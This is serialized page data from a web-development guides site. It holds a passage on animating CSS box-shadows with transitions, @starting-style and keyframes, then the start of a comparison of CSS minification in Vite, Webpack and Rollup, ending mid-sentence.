1;\n}\n",[143,19534,19535,19541,19552,19588,19603,19607,19611,19618,19628,19638,19648,19659,19696,19707,19722,19733,19737,19741,19747,19764,19768,19772,19779,19789],{"__ignoreMap":141},[1560,19536,19537,19539],{"class":1562,"line":1563},[1560,19538,1567],{"class":1566},[1560,19540,1571],{"class":1570},[1560,19542,19543,19545,19547,19550],{"class":1562,"line":337},[1560,19544,5642],{"class":1576},[1560,19546,1663],{"class":1570},[1560,19548,19549],{"class":1576},"relative",[1560,19551,2228],{"class":1570},[1560,19553,19554,19556,19558,19560,19562,19564,19566,19568,19570,19572,19574,19576,19578,19580,19582,19584,19586],{"class":1562,"line":343},[1560,19555,18679],{"class":1576},[1560,19557,1663],{"class":1570},[1560,19559,5285],{"class":1576},[1560,19561,9426],{"class":1576},[1560,19563,1670],{"class":1669},[1560,19565,13574],{"class":1576},[1560,19567,1670],{"class":1669},[1560,19569,18694],{"class":1576},[1560,19571,1688],{"class":1570},[1560,19573,5285],{"class":1576},[1560,19575,1459],{"class":1570},[1560,19577,5285],{"class":1576},[1560,19579,1459],{"class":1570},[1560,19581,5285],{"class":1576},[1560,19583,1459],{"class":1570},[1560,19585,18711],{"class":1576},[1560,19587,1744],{"class":1570},[1560,19589,19590,19592,19595,19597,19599,19601],{"class":1562,"line":365},[1560,19591,18718],{"class":1576},[1560,19593,19594],{"class":1570},": transform ",[1560,19596,18949],{"class":1576},[1560,19598,18727],{"class":1669},[1560,19600,18730],{"class":1576},[1560,19602,2228],{"class":1570},[1560,19604,19605],{"class":1562,"line":889},[1560,19606,1585],{"class":1570},[1560,19608,19609],{"class":1562,"line":1710},[1560,19610,1702],{"emptyLinePlaceholder":363},[1560,19612,19613,19616],{"class":1562,"line":1717},[1560,19614,19615],{"class":1566},".card::after",[1560,19617,1571],{"class":1570},[1560,19619,19620,19622,19624,19626],{"class":1562,"line":1747},[1560,19621,5629],{"class":1576},[1560,19623,1663],{"class":1570},[1560,19625,5635],{"class":5634},[1560,19627,2228],{"class":1570},[1560,19629,19630,19632,19634,19636],{"class":1562,"line":2507},[1560,19631,5642],{"class":1576},[1560,19633,1663],{"class":1570},[1560,19635,5647],{"class":1576},[1560,19637,2228],{"class":1570},[1560,19639,19640,19642,19644,19646],{"class":1562,"line":2524},[1560,19641,5654],{"class":1576},[1560,19643,1663],{"class":1570},[1560,19645,5285],{"class":1576},[1560,19647,2228],{"class":1570},[1560,19649,19650,19652,19654,19657],{"class":1562,"line":2529},[1560,19651,17294],{"class":1576},[1560,19653,1663],{"class":1570},[1560,19655,19656],{"class":1576},"inherit",[1560,19658,2228],{"class":1570},[1560,19660,19661,19663,19665,19667,19669,19671,19673,19675,19677,19679,19681,19683,19685,19687,19689,19691,19694],{"class":1562,"line":2534},[1560,19662,18679],{"class":1576},[1560,19664,1663],{"class":1570},[1560,19666,5285],{"class":1576},[1560,19668,13490],{"class":1576},[1560,19670,1670],{"class":1669},[1560,19672,18193],{"class":1576},[1560,19674,1670],{"class":1669},[1560,19676,18694],{"class":1576},[1560,19678,1688],{"class":1570},[1560,19680,5285],{"class":1576},[1560,19682,1459],{"class":1570},[1560,19684,5285],{"class":1576},[1560,19686,1459],{"class":1570},[1560,19688,5285],{"class":1576},[1560,19690,1459],{"class":1570},[1560,19692,19693],{"class":1576},"0.15",[1560,19695,1744],{"class":1570},[1560,19697,19698,19701,19703,19705],{"class":1562,"line":2542},[1560,19699,19700],{"class":1576},"  opacity",[1560,19702,1663],{"class":1570},[1560,19704,5285],{"class":1576},[1560,19706,2228],{"class":1570},[1560,19708,19709,19711,19714,19716,19718,19720],{"class":1562,"line":2558},[1560,19710,18718],{"class":1576},[1560,19712,19713],{"class":1570},": opacity ",[1560,19715,18724],{"class":1576},[1560,19717,18727],{"class":1669},[1560,19719,18730],{"class":1576},[1560,19721,2228],{"class":1570},[1560,19723,19724,19727,19729,19731],{"class":1562,"line":2570},[1560,19725,19726],{"class":1576},"  z-index",[1560,19728,1663],{"class":1570},[1560,19730,19059],{"class":1576},[1560,19732,2228],{"class":1570},[1560,19734,19735],{"class":1562,"line":6638},[1560,19736,1585],{"class":1570},[1560,19738,19739],{"class":1562,"line":11615},[1560,19740,1702],{"emptyLinePlaceholder":363},[1560,19742,19743,19745],{"class":1562,"line":11621},[1560,19744,18745],{"class":1566},[1560,19746,1571],{"class":1570},[1560,19748,19749,19751,19753,19755,19757,19760,19762],{"class":1562,"line":11633},[1560,19750,1720],{"class":1576},[1560,19752,1663],{"class":1570},[1560,19754,18845],{"class":1576},[1560,19756,1688],{"class":1570},[1560,19758,19759],{"class":1576},"-2",[1560,19761,1670],{"class":1669},[1560,19763,1744],{"class":1570},[1560,19765,19766],{"class":1562,"line":11638},[1560,19767,1585],{"class":1570},[1560,19769,19770],{"class":1562,"line":11672},[1560,19771,1702],{"emptyLinePlaceholder":363},[1560,19773,19774,19777],{"class":1562,"line":19435},[1560,19775,19776],{"class":1566},".card:hover::after",[1560,19778,1571],{"class":1570},[1560,19780,19781,19783,19785,19787],{"class":1562,"line":19442},[1560,19782,19700],{"class":1576},[1560,19784,1663],{"class":1570},[1560,19786,3585],{"class":1576},[1560,19788,2228],{"class":1570},[1560,19790,19791],{"class":1562,"line":19475},[1560,19792,1585],{"class":1570},[16,19794,19795],{},"This technique is significantly smoother on low-powered devices.",[33,19797,19799,19800,19803],{"id":19798},"solution-2-css-starting-style-2026","Solution 2: CSS ",[143,19801,19802],{},"@starting-style"," (2026)",[16,19805,19806,19807,19809],{},"Modern browsers support ",[143,19808,19802],{}," for entry animations, allowing you to animate from a shadow state without the \"flash of no shadow\" problem:",[135,19811,19813],{"className":1554,"code":19812,"language":1556,"meta":141,"style":141},".card {\n  box-shadow: 0 8px 24px rgba(0, 0, 0, 0.15);\n  transition: box-shadow 0.3s ease;\n}\n\n@starting-style {\n  .card {\n    box-shadow: 0 2px 4px rgba(0, 0, 0, 0.08);\n  }\n}\n",[143,19814,19815,19821,19857,19871,19875,19879,19885,19892,19929,19933],{"__ignoreMap":141},[1560,19816,19817,19819],{"class":1562,"line":1563},[1560,19818,1567],{"class":1566},[1560,19820,1571],{"class":1570},[1560,19822,19823,19825,19827,19829,19831,19833,19835,19837,19839,19841,19843,19845,19847,19849,19851,19853,19855],{"class":1562,"line":337},[1560,19824,18679],{"class":1576},[1560,19826,1663],{"class":1570},[1560,19828,5285],{"class":1576},[1560,19830,13490],{"class":1576},[1560,19832,1670],{"class":1669},[1560,19834,18193],{"class":1576},[1560,19836,1670],{"class":1669},[1560,19838,18694],{"class":1576},[1560,19840,1688],{"class":1570},[1560,19842,5285],{"class":1576},[1560,19844,1459],{"class":1570},[1560,19846,5285],{"class":1576},[1560,19848,1459],{"class":1570},[1560,19850,5285],{"class":1576},[1560,19852,1459],{"class":1570},[1560,19854,19693],{"class":1576},[1560,19856,1744],{"class":1570},[1560,19858,19859,19861,19863,19865,19867,19869],{"class":1562,"line":343},[1560,19860,18718],{"class":1576},[1560,19862,18721],{"class":1570},[1560,19864,18724],{"class":1576},[1560,19866,18727],{"class":1669},[1560,19868,18730],{"class":1576},[1560,19870,2228],{"class":1570},[1560,19872,19873],{"class":1562,"line":365},[1560,19874,1585],{"class":1570},[1560,19876,19877],{"class":1562,"line":889},[1560,19878,1702],{"emptyLinePlaceholder":363},[1560,19880,19881,19883],{"class":1562,"line":1710},[1560,19882,19802],{"class":1669},[1560,19884,1571],{"class":1570},[1560,19886,19887,19890],{"class":1562,"line":1717},[1560,19888,19889],{"class":1566},"  .card",[1560,19891,1571],{"class":1570},[1560,19893,19894,19897,19899,19901,19903,19905,19907,19909,19911,19913,19915,19917,19919,19921,19923,19925,19927],{"class":1562,"line":1747},[1560,19895,19896],{"class":1576},"    box-shadow",[1560,19898,1663],{"class":1570},[1560,19900,5285],{"class":1576},[1560,19902,9426],{"class":1576},[1560,19904,1670],{"class":1669},[1560,19906,13574],{"class":1576},[1560,19908,1670],{"class":1669},[1560,19910,18694],{"class":1576},[1560,19912,1688],{"class":1570},[1560,19914,5285],{"class":1576},[1560,19916,1459],{"class":1570},[1560,19918,5285],{"class":1576},[1560,19920,1459],{"class":1570},[1560,19922,5285],{"class":1576},[1560,19924,1459],{"class":1570},[1560,19926,18711],{"class":1576},[1560,19928,1744],{"class":1570},[1560,19930,19931],{"class":1562,"line":2507},[1560,19932,4959],{"class":1570},[1560,19934,19935],{"class":1562,"line":2524},[1560,19936,1585],{"class":1570},[11,19938,19940],{"id":19939},"keyframe-animations","Keyframe Animations",[16,19942,19943,19944,8037],{},"For cyclic or multi-step shadow animations, use ",[143,19945,19946],{},"@keyframes",[135,19948,19950],{"className":1554,"code":19949,"language":1556,"meta":141,"style":141},"@keyframes pulse-shadow {\n  0%, 100% {\n    box-shadow: 0 2px 4px rgba(59, 130, 246, 0.10);\n  }\n  50% {\n    box-shadow: 0 4px 16px rgba(59, 130, 246, 0.25);\n  }\n}\n\n.notification {\n  animation: pulse-shadow 2s ease-in-out infinite;\n}\n",[143,19951,19952,19961,19973,20012,20016,20023,20060,20064,20068,20072,20079,20099],{"__ignoreMap":141},[1560,19953,19954,19956,19959],{"class":1562,"line":1563},[1560,19955,19946],{"class":1669},[1560,19957,19958],{"class":2219}," pulse-shadow",[1560,19960,1571],{"class":1570},[1560,19962,19963,19966,19968,19971],{"class":1562,"line":337},[1560,19964,19965],{"class":1566},"  0%",[1560,19967,1459],{"class":1570},[1560,19969,19970],{"class":1566},"100%",[1560,19972,1571],{"class":1570},[1560,19974,19975,19977,19979,19981,19983,19985,19987,19989,19991,19993,19996,19998,20001,20003,20006,20008,20010],{"class":1562,"line":343},[1560,19976,19896],{"class":1576},[1560,19978,1663],{"class":1570},[1560,19980,5285],{"class":1576},[1560,19982,9426],{"class":1576},[1560,19984,1670],{"class":1669},[1560,19986,13574],{"class":1576},[1560,19988,1670],{"class":1669},[1560,19990,18694],{"class":1576},[1560,19992,1688],{"class":1570},[1560,19994,19995],{"class":1576},"59",[1560,19997,1459],{"class":1570},[1560,19999,20000],{"class":1576},"130",[1560,20002,1459],{"class":1570},[1560,20004,20005],{"class":1576},"246",[1560,20007,1459],{"class":1570},[1560,20009,19013],{"class":1576},[1560,20011,1744],{"class":1570},[1560,20013,20014],{"class":1562,"line":365},[1560,20015,4959],{"class":1570},[1560,20017,20018,20021],{"class":1562,"line":889},[1560,20019,20020],{"class":1566},"  50%",[1560,20022,1571],{"class":1570},[1560,20024,20025,20027,20029,20031,20033,20035,20037,20039,20041,20043,20045,20047,20049,20051,20053,20055,20058],{"class":1562,"line":1710},[1560,20026,19896],{"class":1576},[1560,20028,1663],{"class":1570},[1560,20030,5285],{"class":1576},[1560,20032,13574],{"class":1576},[1560,20034,1670],{"class":1669},[1560,20036,19024],{"class":1576},[1560,20038,1670],{"class":1669},[1560,20040,18694],{"class":1576},[1560,20042,1688],{"class":1570},[1560,20044,19995],{"class":1576},[1560,20046,1459],{"class":1570},[1560,20048,20000],{"class":1576},[1560,20050,1459],{"class":1570},[1560,20052,20005],{"class":1576},[1560,20054,1459],{"class":1570},[1560,20056,20057],{"class":1576},"0.25",[1560,20059,1744],{"class":1570},[1560,20061,20062],{"class":1562,"line":1717},[1560,20063,4959],{"class":1570},[1560,20065,20066],{"class":1562,"line":1747},[1560,20067,1585],{"class":1570},[1560,20069,20070],{"class":1562,"line":2507},[1560,20071,1702],{"emptyLinePlaceholder":363},[1560,20073,20074,20077],{"class":1562,"line":2524},[1560,20075,20076],{"class":1566},".notification",[1560,20078,1571],{"class":1570},[1560,20080,20081,20084,20087,20089,20091,20094,20097],{"class":1562,"line":2529},[1560,20082,20083],{"class":1576},"  animation",[1560,20085,20086],{"class":1570},": pulse-shadow ",[1560,20088,10099],{"class":1576},[1560,20090,18727],{"class":1669},[1560,20092,20093],{"class":1576}," ease-in-out",[1560,20095,20096],{"class":1576}," infinite",[1560,20098,2228],{"class":1570},[1560,20100,20101],{"class":1562,"line":2534},[1560,20102,1585],{"class":1570},[16,20104,20105],{},"Use this sparingly — pulsing shadows draw attention but become distracting if overused.",[11,20107,20109],{"id":20108},"dark-mode-shadow-animations","Dark Mode Shadow Animations",[16,20111,20112],{},"In dark mode, animated shadows can expose color shifts as opacity changes. Use consistent shadow coloring within each mode:",[135,20114,20116],{"className":1554,"code":20115,"language":1556,"meta":141,"style":141},".card {\n  box-shadow: 0 2px 4px rgba(0, 0, 0, 0.15);\n  transition: box-shadow 0.3s ease;\n}\n\n@media (prefers-color-scheme: dark) {\n  .card {\n    box-shadow: 0 2px 4px rgba(0, 0, 0, 0.30);\n  }\n}\n",[143,20117,20118,20124,20160,20174,20178,20182,20189,20195,20232,20236],{"__ignoreMap":141},[1560,20119,20120,20122],{"class":1562,"line":1563},[1560,20121,1567],{"class":1566},[1560,20123,1571],{"class":1570},[1560,20125,20126,20128,20130,20132,20134,20136,20138,20140,20142,20144,20146,20148,20150,20152,20154,20156,20158],{"class":1562,"line":337},[1560,20127,18679],{"class":1576},[1560,20129,1663],{"class":1570},[1560,20131,5285],{"class":1576},[1560,20133,9426],{"class":1576},[1560,20135,1670],{"class":1669},[1560,20137,13574],{"class":1576},[1560,20139,1670],{"class":1669},[1560,20141,18694],{"class":1576},[1560,20143,1688],{"class":1570},[1560,20145,5285],{"class":1576},[1560,20147,1459],{"class":1570},[1560,20149,5285],{"class":1576},[1560,20151,1459],{"class":1570},[1560,20153,5285],{"class":1576},[1560,20155,1459],{"class":1570},[1560,20157,19693],{"class":1576},[1560,20159,1744],{"class":1570},[1560,20161,20162,20164,20166,20168,20170,20172],{"class":1562,"line":343},[1560,20163,18718],{"class":1576},[1560,20165,18721],{"class":1570},[1560,20167,18724],{"class":1576},[1560,20169,18727],{"class":1669},[1560,20171,18730],{"class":1576},[1560,20173,2228],{"class":1570},[1560,20175,20176],{"class":1562,"line":365},[1560,20177,1585],{"class":1570},[1560,20179,20180],{"class":1562,"line":889},[1560,20181,1702],{"emptyLinePlaceholder":363},[1560,20183,20184,20186],{"class":1562,"line":1710},[1560,20185,17186],{"class":1669},[1560,20187,20188],{"class":1570}," (prefers-color-scheme: dark) {\n",[1560,20190,20191,20193],{"class":1562,"line":1717},[1560,20192,19889],{"class":1566},[1560,20194,1571],{"class":1570},[1560,20196,20197,20199,20201,20203,20205,20207,20209,20211,20213,20215,20217,20219,20221,20223,20225,20227,20230],{"class":1562,"line":1747},[1560,20198,19896],{"class":1576},[1560,20200,1663],{"class":1570},[1560,20202,5285],{"class":1576},[1560,20204,9426],{"class":1576},[1560,20206,1670],{"class":1669},[1560,20208,13574],{"class":1576},[1560,20210,1670],{"class":1669},[1560,20212,18694],{"class":1576},[1560,20214,1688],{"class":1570},[1560,20216,5285],{"class":1576},[1560,20218,1459],{"class":1570},[1560,20220,5285],{"class":1576},[1560,20222,1459],{"class":1570},[1560,20224,5285],{"class":1576},[1560,20226,1459],{"class":1570},[1560,20228,20229],{"class":1576},"0.30",[1560,20231,1744],{"class":1570},[1560,20233,20234],{"class":1562,"line":2507},[1560,20235,4959],{"class":1570},[1560,20237,20238],{"class":1562,"line":2524},[1560,20239,1585],{"class":1570},[11,20241,1355],{"id":1354},[41,20243,20244,20253,20256,20259,20262,20268],{},[44,20245,20246,20247,20249,20250,20252],{},"Combine ",[143,20248,1880],{}," transitions with ",[143,20251,18845],{}," for convincing lift effects",[44,20254,20255],{},"Always match layer counts between shadow states for smooth interpolation",[44,20257,20258],{},"Use pseudo-element opacity for performance-critical shadow animations",[44,20260,20261],{},"Keep durations between 100–300ms for perceived responsiveness",[44,20263,20264,20265,20267],{},"Animate ",[143,20266,19151],{}," state with fast transitions (50ms) for press feedback",[44,20269,20270],{},"Use keyframe animations for attention-drawing pulses — but sparingly",[11,20272,286],{"id":285},[16,20274,20275,20276,20280],{},"Build and animate box shadows visually with our ",[98,20277,20279],{"href":20278},"\u002Ftools\u002Fcss-box-shadow","CSS Box Shadow Generator",". Adjust shadows interactively, preview hover transitions, and copy production-ready CSS.",[11,20282,321],{"id":320},[41,20284,20285,20292],{},[44,20286,20287,20291],{},[98,20288,20290],{"href":20289},"\u002Fguides\u002Fcss-box-shadow-guide","CSS Box Shadow Guide"," — complete syntax and parameter reference",[44,20293,20294,20298],{},[98,20295,20297],{"href":20296},"\u002Fguides\u002Flayered-box-shadows-depth","Layered Box Shadows for Depth"," — creating realistic elevation with multiple shadow layers",[2043,20300,20301],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}",{"title":141,"searchDepth":337,"depth":337,"links":20303},[20304,20305,20308,20309,20310,20315,20316,20317,20318,20319],{"id":18646,"depth":337,"text":18647},{"id":18659,"depth":337,"text":18660,"children":20306},[20307],{"id":18794,"depth":343,"text":18795},{"id":18838,"depth":337,"text":18839},{"id":19155,"depth":337,"text":19156},{"id":19513,"depth":337,"text":19514,"children":20311},[20312,20313],{"id":19522,"depth":343,"text":19523},{"id":19798,"depth":343,"text":20314},"Solution 2: CSS @starting-style (2026)",{"id":19939,"depth":337,"text":19940},{"id":20108,"depth":337,"text":20109},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Master CSS box-shadow animations for elevation changes, hover states, and interactive feedback. Learn performance-friendly transition and keyframe methods.",{"keywords":20322,"immutable":363},[20323,20324],"css-box-shadow","box-shadow-animation-techniques","\u002Fguides\u002Fbox-shadow-animation-techniques",{"title":18641,"description":20320},"guides\u002Fbox-shadow-animation-techniques","HCca1njebKPlkQsRUMpC4ahneH1P_AOPaouZDOkrPZg",{"id":20330,"title":20331,"body":20332,"date":2070,"description":21393,"extension":361,"meta":21394,"navigation":363,"path":21395,"readingTime":1717,"seo":21396,"stem":21397,"__hash__":21398},"guides\u002Fguides\u002Fbuild-tool-css-minification-compared.md","Build Tool CSS Minification Compared: Vite, Webpack, Rollup, esbuild",{"type":8,"value":20333,"toc":21377},[20334,20338,20341,20344,20348,20485,20489,20492,20502,20548,20554,20608,20624,20628,20638,20817,20828,20832,20839,20910,20916,20924,20927,20930,20951,20954,20962,20966,20969,21052,21068,21072,21154,21158,21161,21279,21282,21308,21310,21342,21344,21364,21366,21374],[11,20335,20337],{"id":20336},"why-css-minification-matters","Why CSS Minification Matters",[16,20339,20340],{},"CSS minification removes whitespace, comments, and redundant values from stylesheets. On a typical project, minification reduces CSS size by 20–30% — a meaningful improvement for page load performance.",[16,20342,20343],{},"Most modern build tools handle CSS minification automatically in production mode, but the defaults vary in aggressiveness, configurability, and output quality. Understanding these differences helps you choose the right setup for your project.",[11,20345,20347],{"id":20346},"what-css-minifiers-do","What CSS Minifiers Do",[193,20349,20350,20365],{},[196,20351,20352],{},[199,20353,20354,20356,20359,20362],{},[202,20355,11087],{},[202,20357,20358],{},"Example Before",[202,20360,20361],{},"Example After",[202,20363,20364],{},"Typical Savings",[211,20366,20367,20384,20401,20417,20433,20450,20467],{},[199,20368,20369,20372,20377,20382],{},[216,20370,20371],{},"Remove whitespace",[216,20373,20374],{},[143,20375,20376],{},"margin: 10px ;",[216,20378,20379],{},[143,20380,20381],{},"margin:10px",[216,20383,15446],{},[199,20385,20386,20389,20394,20399],{},[216,20387,20388],{},"Remove comments",[216,20390,20391],{},[143,20392,20393],{},"\u002F* header *\u002F .nav {}",[216,20395,20396],{},[143,20397,20398],{},".nav{}",[216,20400,15457],{},[199,20402,20403,20406,20411,20415],{},[216,20404,20405],{},"Merge longhand → shorthand",[216,20407,20408],{},[143,20409,20410],{},"margin-top:10px;margin-right:10px",[216,20412,20413],{},[143,20414,20381],{},[216,20416,15457],{},[199,20418,20419,20422,20427,20431],{},[216,20420,20421],{},"Remove redundant values",[216,20423,20424],{},[143,20425,20426],{},"margin:10px 10px 10px 10px",[216,20428,20429],{},[143,20430,20381],{},[216,20432,15466],{},[199,20434,20435,20438,20443,20448],{},[216,20436,20437],{},"Optimize color values",[216,20439,20440],{},[143,20441,20442],{},"color:#ff0000",[216,20444,20445],{},[143,20446,20447],{},"color:red",[216,20449,15466],{},[199,20451,20452,20455,20460,20465],{},[216,20453,20454],{},"Remove empty rules",[216,20456,20457],{},[143,20458,20459],{},".empty {}",[216,20461,20462],{},[7310,20463,20464],{},"(removed)",[216,20466,15466],{},[199,20468,20469,20472,20478,20483],{},[216,20470,20471],{},"Deduplicate selectors",[216,20473,20474,20475],{},"Two ",[143,20476,20477],{},".btn{color:red}",[216,20479,20480,20481],{},"One ",[143,20482,20477],{},[216,20484,3078],{},[11,20486,20488],{"id":20487},"tool-by-tool-comparison","Tool-by-Tool Comparison",[33,20490,9643],{"id":20491},"vite",[16,20493,20494,20495,20498,20499,8037],{},"Vite uses PostCSS with ",[143,20496,20497],{},"cssnano"," by default in production builds. Configuration lives in ",[143,20500,20501],{},"vite.config.ts",[135,20503,20505],{"className":17509,"code":20504,"language":17511,"meta":141,"style":141},"\u002F\u002F vite.config.ts\nexport default defineConfig({\n  build: {\n    cssMinify: true,  \u002F\u002F Default in production\n  },\n})\n",[143,20506,20507,20512,20522,20526,20540,20544],{"__ignoreMap":141},[1560,20508,20509],{"class":1562,"line":1563},[1560,20510,20511],{"class":1649},"\u002F\u002F vite.config.ts\n",[1560,20513,20514,20516,20518,20520],{"class":1562,"line":337},[1560,20515,9187],{"class":1669},[1560,20517,11837],{"class":1669},[1560,20519,17522],{"class":1566},[1560,20521,17525],{"class":1570},[1560,20523,20524],{"class":1562,"line":343},[1560,20525,11844],{"class":1570},[1560,20527,20528,20531,20534,20537],{"class":1562,"line":365},[1560,20529,20530],{"class":1570},"    cssMinify: ",[1560,20532,20533],{"class":1576},"true",[1560,20535,20536],{"class":1570},",  ",[1560,20538,20539],{"class":1649},"\u002F\u002F Default in production\n",[1560,20541,20542],{"class":1562,"line":889},[1560,20543,11862],{"class":1570},[1560,20545,20546],{"class":1562,"line":1710},[1560,20547,1626],{"class":1570},[16,20549,20550,20551,8037],{},"For more control, replace the default with ",[143,20552,20553],{},"lightningcss",[135,20555,20557],{"className":17509,"code":20556,"language":17511,"meta":141,"style":141},"export default defineConfig({\n  css: {\n    transformer: 'lightningcss',\n  },\n  build: {\n    cssMinify: 'lightningcss',\n  },\n})\n",[143,20558,20559,20569,20574,20584,20588,20592,20600,20604],{"__ignoreMap":141},[1560,20560,20561,20563,20565,20567],{"class":1562,"line":1563},[1560,20562,9187],{"class":1669},[1560,20564,11837],{"class":1669},[1560,20566,17522],{"class":1566},[1560,20568,17525],{"class":1570},[1560,20570,20571],{"class":1562,"line":337},[1560,20572,20573],{"class":1570},"  css: {\n",[1560,20575,20576,20579,20582],{"class":1562,"line":343},[1560,20577,20578],{"class":1570},"    transformer: ",[1560,20580,20581],{"class":5634},"'lightningcss'",[1560,20583,11943],{"class":1570},[1560,20585,20586],{"class":1562,"line":365},[1560,20587,11862],{"class":1570},[1560,20589,20590],{"class":1562,"line":889},[1560,20591,11844],{"class":1570},[1560,20593,20594,20596,20598],{"class":1562,"line":1710},[1560,20595,20530],{"class":1570},[1560,20597,20581],{"class":5634},[1560,20599,11943],{"class":1570},[1560,20601,20602],{"class":1562,"line":1717},[1560,20603,11862],{"class":1570},[1560,20605,20606],{"class":1562,"line":1747},[1560,20607,1626],{"class":1570},[16,20609,20610,20612,20613,20615,20616,20618,20620,20621,20623],{},[47,20611,7444],{},": Excellent defaults, fast builds via esbuild in dev, ",[143,20614,20553],{}," option is significantly faster than ",[143,20617,20497],{},[47,20619,7447],{},": Limited fine-grained control over which ",[143,20622,20497],{}," optimizations run (without ejecting to custom PostCSS config)",[33,20625,20627],{"id":20626},"webpack","Webpack",[16,20629,20630,20631,20634,20635,8037],{},"Webpack delegates CSS minification to the ",[143,20632,20633],{},"MiniCssExtractPlugin"," combined with ",[143,20636,20637],{},"css-minimizer-webpack-plugin",[135,20639,20641],{"className":1607,"code":20640,"language":1609,"meta":141,"style":141},"\u002F\u002F webpack.config.js\nconst MiniCssExtractPlugin = require('mini-css-extract-plugin')\nconst CssMinimizerPlugin = require('css-minimizer-webpack-plugin')\n\nmodule.exports = {\n  module: {\n    rules: [\n      { test: \u002F\\.css$\u002F, use: [MiniCssExtractPlugin.loader, 'css-loader'] },\n    ],\n  },\n  optimization: {\n    minimizer: [\n      new CssMinimizerPlugin({\n        minimizerOptions: {\n          preset: ['advanced', { discardUnused: false }],\n        },\n      }),\n    ],\n  },\n  plugins: [new MiniCssExtractPlugin()],\n}\n",[143,20642,20643,20647,20666,20684,20688,20700,20704,20709,20733,20738,20742,20747,20752,20761,20766,20782,20787,20792,20796,20800,20813],{"__ignoreMap":141},[1560,20644,20645],{"class":1562,"line":1563},[1560,20646,11880],{"class":1649},[1560,20648,20649,20651,20654,20656,20659,20661,20664],{"class":1562,"line":337},[1560,20650,8180],{"class":1669},[1560,20652,20653],{"class":1576}," MiniCssExtractPlugin",[1560,20655,8186],{"class":1669},[1560,20657,20658],{"class":1566}," require",[1560,20660,1688],{"class":1570},[1560,20662,20663],{"class":5634},"'mini-css-extract-plugin'",[1560,20665,8252],{"class":1570},[1560,20667,20668,20670,20673,20675,20677,20679,20682],{"class":1562,"line":343},[1560,20669,8180],{"class":1669},[1560,20671,20672],{"class":1576}," CssMinimizerPlugin",[1560,20674,8186],{"class":1669},[1560,20676,20658],{"class":1566},[1560,20678,1688],{"class":1570},[1560,20680,20681],{"class":5634},"'css-minimizer-webpack-plugin'",[1560,20683,8252],{"class":1570},[1560,20685,20686],{"class":1562,"line":365},[1560,20687,1702],{"emptyLinePlaceholder":363},[1560,20689,20690,20692,20694,20696,20698],{"class":1562,"line":889},[1560,20691,11885],{"class":1576},[1560,20693,468],{"class":1570},[1560,20695,11890],{"class":1576},[1560,20697,8186],{"class":1669},[1560,20699,1571],{"class":1570},[1560,20701,20702],{"class":1562,"line":1710},[1560,20703,11899],{"class":1570},[1560,20705,20706],{"class":1562,"line":1717},[1560,20707,20708],{"class":1570},"    rules: [\n",[1560,20710,20711,20714,20716,20718,20720,20722,20724,20727,20730],{"class":1562,"line":1747},[1560,20712,20713],{"class":1570},"      { test:",[1560,20715,11912],{"class":5634},[1560,20717,11916],{"class":11915},[1560,20719,1556],{"class":11919},[1560,20721,11938],{"class":1669},[1560,20723,9423],{"class":5634},[1560,20725,20726],{"class":1570},", use: [MiniCssExtractPlugin.loader, ",[1560,20728,20729],{"class":5634},"'css-loader'",[1560,20731,20732],{"class":1570},"] },\n",[1560,20734,20735],{"class":1562,"line":2507},[1560,20736,20737],{"class":1570},"    ],\n",[1560,20739,20740],{"class":1562,"line":2524},[1560,20741,11862],{"class":1570},[1560,20743,20744],{"class":1562,"line":2529},[1560,20745,20746],{"class":1570},"  optimization: {\n",[1560,20748,20749],{"class":1562,"line":2534},[1560,20750,20751],{"class":1570},"    minimizer: [\n",[1560,20753,20754,20757,20759],{"class":1562,"line":2542},[1560,20755,20756],{"class":1669},"      new",[1560,20758,20672],{"class":1566},[1560,20760,17525],{"class":1570},[1560,20762,20763],{"class":1562,"line":2558},[1560,20764,20765],{"class":1570},"        minimizerOptions: {\n",[1560,20767,20768,20771,20774,20777,20779],{"class":1562,"line":2570},[1560,20769,20770],{"class":1570},"          preset: [",[1560,20772,20773],{"class":5634},"'advanced'",[1560,20775,20776],{"class":1570},", { discardUnused: ",[1560,20778,13730],{"class":1576},[1560,20780,20781],{"class":1570}," }],\n",[1560,20783,20784],{"class":1562,"line":6638},[1560,20785,20786],{"class":1570},"        },\n",[1560,20788,20789],{"class":1562,"line":11615},[1560,20790,20791],{"class":1570},"      }),\n",[1560,20793,20794],{"class":1562,"line":11621},[1560,20795,20737],{"class":1570},[1560,20797,20798],{"class":1562,"line":11633},[1560,20799,11862],{"class":1570},[1560,20801,20802,20805,20808,20810],{"class":1562,"line":11638},[1560,20803,20804],{"class":1570},"  plugins: [",[1560,20806,20807],{"class":1669},"new",[1560,20809,20653],{"class":1566},[1560,20811,20812],{"class":1570},"()],\n",[1560,20814,20815],{"class":1562,"line":11672},[1560,20816,1585],{"class":1570},[16,20818,20819,20821,20822,20824,20825,20827],{},[47,20820,7444],{},": Full control over ",[143,20823,20497],{}," preset, mature ecosystem, widely documented\n",[47,20826,7447],{},": Slow builds on large projects, verbose configuration",[33,20829,20831],{"id":20830},"rollup","Rollup",[16,20833,20834,20835,20838],{},"Rollup requires 